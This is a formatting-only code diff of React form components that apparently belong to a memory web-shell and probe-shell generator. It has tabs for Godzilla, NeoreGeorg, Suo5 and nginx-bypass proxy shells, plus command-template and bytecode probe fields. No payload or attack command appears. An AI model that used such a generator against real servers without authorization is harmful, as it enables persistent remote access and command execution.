<CardContent className="space-y-2 mt-4">
<CardContent className="mt-4 space-y-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<Controller
control={form.control}
@@ -120,9 +123,7 @@ export default function CustomTabContent({
const reader = new FileReader();
reader.onload = (event) => {
const base64String =
(event.target?.result as string)?.split(
",",
)[1] || "";
(event.target?.result as string)?.split(",")[1] || "";
field.onChange(base64String);
};
reader.readAsDataURL(file);
@@ -1,10 +1,13 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -19,9 +22,9 @@ export function GodzillaTabContent({
return (
<TabsContent value="Godzilla">
<Card>
<CardContent className="flex flex-col gap-2 mt-4">
<CardContent className="mt-4 flex flex-col gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="godzillaPass"
@@ -30,10 +33,7 @@ export function GodzillaTabContent({
<FieldLabel>
{t("shellToolConfig.godzilla.pass")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -45,10 +45,7 @@ export function GodzillaTabContent({
<FieldLabel>
{t("shellToolConfig.godzilla.key")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -58,10 +55,7 @@ export function GodzillaTabContent({
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -73,10 +67,7 @@ export function GodzillaTabContent({
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -1,10 +1,13 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -19,19 +22,16 @@ export function NeoRegTabContent({
return (
<TabsContent value="NeoreGeorg">
<Card>
<CardContent className="space-y-2 mt-4">
<CardContent className="mt-4 space-y-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="headerName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -43,10 +43,7 @@ export function NeoRegTabContent({
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
+9 -13
View File
@@ -1,10 +1,13 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -23,13 +26,12 @@ export function ProxyTabContent({
return (
<TabsContent value="Proxy">
<Card>
<CardContent className="space-y-2 mt-4">
<CardContent className="mt-4 space-y-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<div
className="grid grid-cols-1 md:grid-cols-2 gap-2"
className="grid grid-cols-1 gap-2 md:grid-cols-2"
hidden={
shellType !== "BypassNginxWebSocket" &&
shellType !== "BypassNginxJakartaWebSocket"
shellType !== "BypassNginxWebSocket" && shellType !== "BypassNginxJakartaWebSocket"
}
>
<Controller
@@ -38,10 +40,7 @@ export function ProxyTabContent({
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -53,10 +52,7 @@ export function ProxyTabContent({
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -1,5 +1,8 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Field, FieldError, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import {
@@ -10,7 +13,6 @@ import {
SelectValue,
} from "@/components/ui/select";
import { cn, notNeedUrlPattern } from "@/lib/utils";
import type { MemShellFormSchema } from "@/types/schema";
export function ShellTypeFormField({
form,
@@ -23,7 +25,7 @@ export function ShellTypeFormField({
const shellType = useWatch({ control: form.control, name: "shellType" });
const needUrlPattern = !notNeedUrlPattern(shellType);
return (
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="shellType"
@@ -38,9 +40,7 @@ export function ShellTypeFormField({
value={field.value}
>
<SelectTrigger>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent key={shellTypes?.join(",")}>
{shellTypes?.length ? (
@@ -50,9 +50,7 @@ export function ShellTypeFormField({
</SelectItem>
))
) : (
<SelectItem value=" ">
{t("tips.shellToolNotSelected")}
</SelectItem>
<SelectItem value=" ">{t("tips.shellToolNotSelected")}</SelectItem>
)}
</SelectContent>
</Select>
+8 -11
View File
@@ -1,10 +1,13 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -21,19 +24,16 @@ export function Suo5TabContent({
return (
<TabsContent value={tabValue}>
<Card>
<CardContent className="space-y-2 mt-4">
<CardContent className="mt-4 space-y-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="headerName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
@@ -45,10 +45,7 @@ export function Suo5TabContent({
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
<Input {...field} placeholder={t("common:placeholders.input")} />
</Field>
)}
/>
+11 -26
View File
@@ -1,19 +1,17 @@
import type { ProbeShellResult, ResponseBodyConfig } from "@/types/probeshell";
import { FileTextIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import { CopyableField } from "@/components/copyable-field";
import { FeedbackAlert } from "@/components/memshell/results/feedback-alert";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import type { ProbeShellResult, ResponseBodyConfig } from "@/types/probeshell";
export function BasicInfo({
generateResult,
}: Readonly<{ generateResult?: ProbeShellResult }>) {
export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeShellResult }>) {
const { t } = useTranslation();
const isBodyContent =
generateResult?.probeConfig.probeMethod === "ResponseBody";
const isBodyContent = generateResult?.probeConfig.probeMethod === "ResponseBody";
const isFilterContent = generateResult?.probeConfig.probeContent === "Filter";
const isBodyCommand =
isBodyContent && generateResult?.probeConfig.probeContent === "Command";
const isBodyCommand = isBodyContent && generateResult?.probeConfig.probeContent === "Command";
return (
<Card>
<CardHeader>
@@ -30,29 +28,16 @@ export function BasicInfo({
{!isFilterContent && isBodyContent && (
<CopyableField
label={t("common:paramName")}
value={
(generateResult?.probeContentConfig as ResponseBodyConfig)
.reqParamName
}
text={
(generateResult?.probeContentConfig as ResponseBodyConfig)
.reqParamName
}
value={(generateResult?.probeContentConfig as ResponseBodyConfig).reqParamName}
text={(generateResult?.probeContentConfig as ResponseBodyConfig).reqParamName}
/>
)}
{isBodyCommand &&
(generateResult?.probeContentConfig as ResponseBodyConfig)
.commandTemplate && (
(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate && (
<CopyableField
label={t("common:commandTemplate")}
value={
(generateResult?.probeContentConfig as ResponseBodyConfig)
.commandTemplate
}
text={
(generateResult?.probeContentConfig as ResponseBodyConfig)
.commandTemplate
}
value={(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate}
text={(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate}
/>
)}
<CopyableField
@@ -1,14 +1,13 @@
import type { ServerConfig } from "@/types/memshell";
import type { ProbeShellFormSchema } from "@/types/schema";
import { InfoIcon, ServerIcon } from "lucide-react";
import { useCallback, useEffect, useMemo } from "react";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
Field,
FieldContent,
FieldError,
FieldLabel,
} from "@/components/ui/field";
import { Field, FieldContent, FieldError, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import {
Select,
@@ -19,18 +18,10 @@ import {
} from "@/components/ui/select";
import { Separator } from "@/components/ui/separator";
import { SwitchField } from "@/components/ui/switch-field";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/ui/tooltip";
import type { ServerConfig } from "@/types/memshell";
import type { ProbeShellFormSchema } from "@/types/schema";
import { Tooltip, TooltipContent, TooltipTrigger } from "@/components/ui/tooltip";
// Hoisted static JSX to avoid recreation on each render (rendering-hoist-jsx)
const infoIcon = (
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
);
const infoIcon = <InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />;
const PROBE_OPTIONS = [
{ value: "Server" as const, label: "server" },
@@ -85,14 +76,11 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
Sleep: ["Server"],
} as const;
const allowedValues =
filterMap[watchedProbeMethod as keyof typeof filterMap];
const allowedValues = filterMap[watchedProbeMethod as keyof typeof filterMap];
if (!allowedValues) return PROBE_OPTIONS;
return PROBE_OPTIONS.filter((opt) =>
allowedValues.includes(opt.value as never),
);
return PROBE_OPTIONS.filter((opt) => allowedValues.includes(opt.value as never));
}, [watchedProbeMethod]);
const resetFormValues = useCallback(() => {
@@ -116,9 +104,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
const isFilter = watchedProbeContent === "Filter";
const needParam =
!isFilter &&
(isCommandBody ||
watchedProbeContent === "Bytecode" ||
watchedProbeContent === "ScriptEngine");
(isCommandBody || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine");
const isSleepMethod = watchedProbeMethod === "Sleep";
const isServerContent = watchedProbeContent === "Server";
@@ -140,9 +126,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
<Select onValueChange={field.onChange} defaultValue={field.value}>
<div>
<SelectTrigger>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
</div>
<SelectContent>
@@ -162,24 +146,12 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
control={form.control}
name="server"
render={({ field, fieldState }) => (
<Field
className="gap-1"
orientation="vertical"
data-invalid={fieldState.invalid}
>
<Field className="gap-1" orientation="vertical" data-invalid={fieldState.invalid}>
<FieldContent>
<FieldLabel htmlFor="server">{t("server")}</FieldLabel>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
>
<SelectTrigger
id="server"
aria-invalid={fieldState.invalid}
>
<SelectValue
data-placeholder={t("placeholders.select")}
/>
<Select onValueChange={field.onChange} defaultValue={field.value}>
<SelectTrigger id="server" aria-invalid={fieldState.invalid}>
<SelectValue data-placeholder={t("placeholders.select")} />
</SelectTrigger>
<SelectContent>
{Object.keys(servers ?? {})
@@ -191,9 +163,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
))}
</SelectContent>
</Select>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</FieldContent>
</Field>
)}
@@ -204,11 +174,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
control={form.control}
name="host"
render={({ field, fieldState }) => (
<Field
className="gap-1"
orientation="vertical"
data-invalid={fieldState.invalid}
>
<Field className="gap-1" orientation="vertical" data-invalid={fieldState.invalid}>
<FieldLabel>{t("probeshell:dnslog.host")}</FieldLabel>
<Input placeholder={t("placeholders.input")} {...field} />
{fieldState.error && <FieldError errors={[fieldState.error]} />}
@@ -223,20 +189,10 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
render={({ field, fieldState }) => (
<Field orientation="vertical" data-invalid={fieldState.invalid}>
<FieldContent>
<FieldLabel htmlFor="probeContent">
{t("probeshell:probeContent")}
</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value || ""}
>
<SelectTrigger
aria-invalid={fieldState.invalid}
id="probeContent"
>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<FieldLabel htmlFor="probeContent">{t("probeshell:probeContent")}</FieldLabel>
<Select onValueChange={field.onChange} value={field.value || ""}>
<SelectTrigger aria-invalid={fieldState.invalid} id="probeContent">
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{filteredOptions.map((opt) => (
@@ -246,15 +202,13 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
))}
</SelectContent>
</Select>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</FieldContent>
</Field>
)}
/>
)}
<div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<div className="mt-4 flex flex-col gap-4 lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<SwitchField
control={form.control}
name="debug"
@@ -287,7 +241,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
/>
</div>
{isBodyMethod && needParam && (
<div className="space-y-2 pt-4 border-t mt-4">
<div className="mt-4 space-y-2 border-t pt-4">
<Controller
control={form.control}
name="reqParamName"
@@ -305,9 +259,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
</Tooltip>
</div>
<Input placeholder={t("placeholders.input")} {...field} />
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</Field>
)}
/>
@@ -322,11 +274,8 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
<FieldLabel>
{t("common:commandTemplate")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:commandTemplate.placeholder")}
/>
<p className="text-xs text-muted-foreground mt-1">
<Input {...field} placeholder={t("common:commandTemplate.placeholder")} />
<p className="mt-1 text-xs text-muted-foreground">
{t("common:commandTemplate.description")}
</p>
</Field>
@@ -334,31 +283,17 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
/>
)}
{isSleepMethod && isServerContent && (
<div className="space-y-2 pt-4 border-t mt-4">
<div className="mt-4 space-y-2 border-t pt-4">
<Controller
control={form.control}
name="sleepServer"
render={({ field, fieldState }) => (
<Field
className="gap-1"
orientation="vertical"
data-invalid={fieldState.invalid}
>
<Field className="gap-1" orientation="vertical" data-invalid={fieldState.invalid}>
<FieldContent>
<FieldLabel htmlFor="sleepServer">
{t("probeshell:sleepServer")}
</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value || ""}
>
<SelectTrigger
aria-invalid={fieldState.invalid}
id="sleepServer"
>
<SelectValue
data-placeholder={t("placeholders.select")}
/>
<FieldLabel htmlFor="sleepServer">{t("probeshell:sleepServer")}</FieldLabel>
<Select onValueChange={field.onChange} value={field.value || ""}>
<SelectTrigger aria-invalid={fieldState.invalid} id="sleepServer">
<SelectValue data-placeholder={t("placeholders.select")} />
</SelectTrigger>
<SelectContent>
{MIDDLEWARE_OPTIONS.map(({ value, label }) => (
@@ -368,9 +303,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
))}
</SelectContent>
</Select>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</FieldContent>
</Field>
)}
@@ -379,11 +312,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
control={form.control}
name="seconds"
render={({ field, fieldState }) => (
<Field
className="gap-1"
orientation="vertical"
data-invalid={fieldState.invalid}
>
<Field className="gap-1" orientation="vertical" data-invalid={fieldState.invalid}>
<FieldLabel>{t("probeshell:sleepSeconds")}</FieldLabel>
<Input
type="number"
@@ -391,9 +320,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
{...field}
onChange={(event) => field.onChange(+event.target.value)}
/>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</Field>
)}
/>
@@ -408,11 +335,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
<FieldLabel htmlFor="shellClassName">
{t("probeshell:shellClassName")} {t("optional")}
</FieldLabel>
<Input
id="shellClassName"
{...field}
placeholder={t("placeholders.input")}
/>
<Input id="shellClassName" {...field} placeholder={t("placeholders.input")} />
</Field>
)}
/>
@@ -1,12 +1,14 @@
import type { PackerConfig } from "@/types/memshell";
import type { ProbeShellFormSchema } from "@/types/schema";
import { PackageIcon } from "lucide-react";
import { useEffect, useState } from "react";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { FieldLabel } from "@/components/ui/field";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import type { PackerConfig } from "@/types/memshell";
import type { ProbeShellFormSchema } from "@/types/schema";
type Option = {
name: string;
@@ -41,10 +43,7 @@ export default function PackageConfigCard({
setOptions(mappedOptions);
const currentValue = form.getValues("packingMethod");
if (
filteredOptions.length > 0 &&
(!currentValue || !filteredOptions.includes(currentValue))
) {
if (filteredOptions.length > 0 && (!currentValue || !filteredOptions.includes(currentValue))) {
form.setValue("packingMethod", filteredOptions[0]);
}
}, [form, packerConfig]);
@@ -89,9 +88,7 @@ export default function PackageConfigCard({
) : (
<div className="flex items-center justify-center p-4">
<div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
<span className="text-sm text-muted-foreground">
{t("loading")}
</span>
<span className="text-sm text-muted-foreground">{t("loading")}</span>
</div>
)}
</CardContent>
@@ -1,5 +1,6 @@
import { ScrollTextIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
export function QuickUsage() {
@@ -13,7 +14,7 @@ export function QuickUsage() {
</CardTitle>
</CardHeader>
<CardContent>
<ol className="list-decimal list-inside space-y-4 text-sm">
<ol className="list-inside list-decimal space-y-4 text-sm">
<li>{t("probeshell:quickUsage.step1")}</li>
<li>{t("probeshell:quickUsage.step2")}</li>
<li>{t("probeshell:quickUsage.step3")}</li>
@@ -1,7 +1,10 @@
import type { ProbeShellResult } from "@/types/probeshell";
import { useTranslation } from "react-i18next";
import { QuickUsage } from "@/components/probeshell/quick-usage";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import type { ProbeShellResult } from "@/types/probeshell";
import CodeViewer from "../code-viewer";
import { MultiPackResult } from "../memshell/results/multi-packer";
import { BasicInfo } from "./basic-info";
@@ -26,9 +29,7 @@ export default function ShellResult({
return (
<Tabs defaultValue="packResult">
<TabsList className="grid w-full grid-cols-1">
<TabsTrigger value="packResult">
{t("common:generateResult")}
</TabsTrigger>
<TabsTrigger value="packResult">{t("common:generateResult")}</TabsTrigger>
</TabsList>
<TabsContent value="packResult" className="space-y-2">
<BasicInfo generateResult={generateResult} />
@@ -44,13 +45,11 @@ export default function ShellResult({
<CodeViewer
code={packResult}
header={
<div className="flex items-center justify-between text-xs gap-2">
<div className="flex items-center justify-between gap-2 text-xs">
<span>
{t("common:packerMethod")}{packMethod}
</span>
<span className="text-muted-foreground">
({packResult?.length})
</span>
<span className="text-muted-foreground">({packResult?.length})</span>
</div>
}
wrapLongLines={!showCode}
+19 -19
View File
@@ -1,3 +1,5 @@
import { create } from "@orama/orama";
import { useDocsSearch } from "fumadocs-core/search/client";
import {
SearchDialog,
SearchDialogClose,
@@ -8,37 +10,35 @@ import {
SearchDialogList,
SearchDialogOverlay,
type SharedProps,
} from 'fumadocs-ui/components/dialog/search';
import { useDocsSearch } from 'fumadocs-core/search/client';
import { create } from '@orama/orama';
import { useI18n } from 'fumadocs-ui/contexts/i18n';
} from "fumadocs-ui/components/dialog/search";
import { useI18n } from "fumadocs-ui/contexts/i18n";
function initOrama() {
return create({
schema: { _: 'string' },
language: 'english',
schema: { _: "string" },
language: "english",
});
}
export default function DefaultSearchDialog(props: SharedProps) {
const { locale } = useI18n();
const { search, setSearch, query } = useDocsSearch({
type: 'static',
type: "static",
initOrama,
locale,
});
return (
<SearchDialog search={search} onSearchChange={setSearch} isLoading={query.isLoading} {...props}>
<SearchDialogOverlay />
<SearchDialogContent>
<SearchDialogHeader>
<SearchDialogIcon />
<SearchDialogInput />
<SearchDialogClose />
</SearchDialogHeader>
<SearchDialogList items={query.data !== 'empty' ? query.data : null} />
</SearchDialogContent>
</SearchDialog>
<SearchDialog search={search} onSearchChange={setSearch} isLoading={query.isLoading} {...props}>
<SearchDialogOverlay />
<SearchDialogContent>
<SearchDialogHeader>
<SearchDialogIcon />
<SearchDialogInput />
<SearchDialogClose />
</SearchDialogHeader>
<SearchDialogList items={query.data !== "empty" ? query.data : null} />
</SearchDialogContent>
</SearchDialog>
);
}
}
+2 -4
View File
@@ -1,10 +1,8 @@
export function TailwindIndicator() {
return (
<div className="fixed bottom-1 right-1 z-50 flex size-6 items-center justify-center rounded-full bg-gray-800 p-3 font-mono text-xs text-white">
<div className="fixed right-1 bottom-1 z-50 flex size-6 items-center justify-center rounded-full bg-gray-800 p-3 font-mono text-xs text-white">
<div className="block sm:hidden">xs</div>
<div className="hidden sm:block md:hidden lg:hidden xl:hidden 2xl:hidden">
sm
</div>
<div className="hidden sm:block md:hidden lg:hidden xl:hidden 2xl:hidden">sm</div>
<div className="hidden md:block lg:hidden xl:hidden 2xl:hidden">md</div>
<div className="hidden lg:block xl:hidden 2xl:hidden">lg</div>
<div className="hidden xl:block 2xl:hidden">xl</div>
+15 -38
View File
@@ -1,5 +1,7 @@
import { AlertDialog as AlertDialogPrimitive } from "@base-ui/react/alert-dialog";
import type * as React from "react";
import { AlertDialog as AlertDialogPrimitive } from "@base-ui/react/alert-dialog";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
@@ -8,26 +10,19 @@ function AlertDialog({ ...props }: AlertDialogPrimitive.Root.Props) {
}
function AlertDialogTrigger({ ...props }: AlertDialogPrimitive.Trigger.Props) {
return (
<AlertDialogPrimitive.Trigger data-slot="alert-dialog-trigger" {...props} />
);
return <AlertDialogPrimitive.Trigger data-slot="alert-dialog-trigger" {...props} />;
}
function AlertDialogPortal({ ...props }: AlertDialogPrimitive.Portal.Props) {
return (
<AlertDialogPrimitive.Portal data-slot="alert-dialog-portal" {...props} />
);
return <AlertDialogPrimitive.Portal data-slot="alert-dialog-portal" {...props} />;
}
function AlertDialogOverlay({
className,
...props
}: AlertDialogPrimitive.Backdrop.Props) {
function AlertDialogOverlay({ className, ...props }: AlertDialogPrimitive.Backdrop.Props) {
return (
<AlertDialogPrimitive.Backdrop
data-slot="alert-dialog-overlay"
className={cn(
"data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 bg-black/10 duration-100 supports-backdrop-filter:backdrop-blur-xs fixed inset-0 isolate z-50",
"fixed inset-0 isolate z-50 bg-black/10 duration-100 data-closed:animate-out data-closed:fade-out-0 data-open:animate-in data-open:fade-in-0 supports-backdrop-filter:backdrop-blur-xs",
className,
)}
{...props}
@@ -49,7 +44,7 @@ function AlertDialogContent({
data-slot="alert-dialog-content"
data-size={size}
className={cn(
"data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 bg-background ring-foreground/10 gap-6 rounded-xl p-6 ring-1 duration-100 data-[size=default]:max-w-xs data-[size=sm]:max-w-xs data-[size=default]:sm:max-w-lg group/alert-dialog-content fixed top-1/2 left-1/2 z-50 grid w-full -translate-x-1/2 -translate-y-1/2 outline-none",
"group/alert-dialog-content fixed top-1/2 left-1/2 z-50 grid w-full -translate-x-1/2 -translate-y-1/2 gap-6 rounded-xl bg-background p-6 ring-1 ring-foreground/10 duration-100 outline-none data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95 data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-[size=default]:max-w-xs data-[size=sm]:max-w-xs data-[size=default]:sm:max-w-lg",
className,
)}
{...props}
@@ -58,10 +53,7 @@ function AlertDialogContent({
);
}
function AlertDialogHeader({
className,
...props
}: React.ComponentProps<"div">) {
function AlertDialogHeader({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="alert-dialog-header"
@@ -74,10 +66,7 @@ function AlertDialogHeader({
);
}
function AlertDialogFooter({
className,
...props
}: React.ComponentProps<"div">) {
function AlertDialogFooter({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="alert-dialog-footer"
@@ -90,15 +79,12 @@ function AlertDialogFooter({
);
}
function AlertDialogMedia({
className,
...props
}: React.ComponentProps<"div">) {
function AlertDialogMedia({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="alert-dialog-media"
className={cn(
"bg-muted mb-2 inline-flex size-16 items-center justify-center rounded-md sm:group-data-[size=default]/alert-dialog-content:row-span-2 *:[svg:not([class*='size-'])]:size-8",
"mb-2 inline-flex size-16 items-center justify-center rounded-md bg-muted sm:group-data-[size=default]/alert-dialog-content:row-span-2 *:[svg:not([class*='size-'])]:size-8",
className,
)}
{...props}
@@ -130,7 +116,7 @@ function AlertDialogDescription({
<AlertDialogPrimitive.Description
data-slot="alert-dialog-description"
className={cn(
"text-muted-foreground *:[a]:hover:text-foreground text-sm text-balance md:text-pretty *:[a]:underline *:[a]:underline-offset-3",
"text-sm text-balance text-muted-foreground md:text-pretty *:[a]:underline *:[a]:underline-offset-3 *:[a]:hover:text-foreground",
className,
)}
{...props}
@@ -138,17 +124,8 @@ function AlertDialogDescription({
);
}
function AlertDialogAction({
className,
...props
}: React.ComponentProps<typeof Button>) {
return (
<Button
data-slot="alert-dialog-action"
className={cn(className)}
{...props}
/>
);
function AlertDialogAction({ className, ...props }: React.ComponentProps<typeof Button>) {
return <Button data-slot="alert-dialog-action" className={cn(className)} {...props} />;
}
function AlertDialogCancel({
+5 -7
View File
@@ -1,6 +1,7 @@
import { cva, type VariantProps } from "class-variance-authority";
import type * as React from "react";
import { cva, type VariantProps } from "class-variance-authority";
import { cn } from "@/lib/utils";
const alertVariants = cva(
@@ -39,7 +40,7 @@ function AlertTitle({ className, ...props }: React.ComponentProps<"div">) {
<div
data-slot="alert-title"
className={cn(
"font-medium group-has-[>svg]/alert:col-start-2 [&_a]:hover:text-foreground [&_a]:underline [&_a]:underline-offset-3",
"font-medium group-has-[>svg]/alert:col-start-2 [&_a]:underline [&_a]:underline-offset-3 [&_a]:hover:text-foreground",
className,
)}
{...props}
@@ -47,15 +48,12 @@ function AlertTitle({ className, ...props }: React.ComponentProps<"div">) {
);
}
function AlertDescription({
className,
...props
}: React.ComponentProps<"div">) {
function AlertDescription({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="alert-description"
className={cn(
"text-muted-foreground text-sm text-balance md:text-pretty [&_p:not(:last-child)]:mb-4 [&_a]:hover:text-foreground [&_a]:underline [&_a]:underline-offset-3",
"text-sm text-balance text-muted-foreground md:text-pretty [&_a]:underline [&_a]:underline-offset-3 [&_a]:hover:text-foreground [&_p:not(:last-child)]:mb-4",
className,
)}
{...props}
+11 -26
View File
@@ -1,6 +1,7 @@
